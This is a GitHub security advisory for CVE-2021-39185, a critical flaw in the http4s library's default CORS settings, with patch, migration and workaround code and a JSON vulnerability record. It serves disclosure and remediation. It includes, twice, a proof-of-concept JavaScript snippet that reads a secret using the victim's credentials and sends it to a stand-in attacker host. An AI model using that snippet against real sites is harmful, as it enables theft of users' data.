GHSA-52CF-226F-RHR6
Vulnerability from github – Published: 2021-09-02 16:52 – Updated: 2025-12-11 21:15Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true
Content-Type: text/plain
p4ssw0rd
A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.example.org/secret',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//bad-people.example.org/log?key='+this.responseText;
};
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.
Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Migration
The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethodflag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methodspreflight response. - Rejected CORS requests receive a
403response, when the client should be the enforcement point. The server should just omit all CORS response headers. - Does not send
Vary: Access-Control-Request-Headerson preflight requests. This may confuse caches. - Does not validate the
Access-Control-Request-Headersof a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. - Needlessly sends
Vary: Access-Control-Request-Methodon non-preflight requests. This should be harmless in practice. - Needlessly sends
Access-Control-Max-Ageheader on non-preflight requests. This should be harmless in practice. - Sends an invalid
Access-Control-Allow-Credentials: falseinstead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.21.27"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13.0-M5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.21.27"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.10"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.21.27"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.11"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39185"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-01T19:31:53Z",
"nvd_published_at": "2021-09-01T20:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n case req if req.pathInfo === \"/secret\" =\u003e\n Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user\u0027s credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open(\u0027get\u0027,\u0027https://vulnerable.example.org/secret\u0027,true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n location=\u0027//bad-people.example.org/log?key=\u0027+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n .withAllowOriginAll\n .withAllowCredentials(false)\n .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n anyOrigin = false,\n allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n .withAnyOrigin(false)\n .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
"id": "GHSA-52cf-226f-rhr6",
"modified": "2025-12-11T21:15:42Z",
"published": "2021-09-02T16:52:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39185"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Default CORS config allows any origin with credentials"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.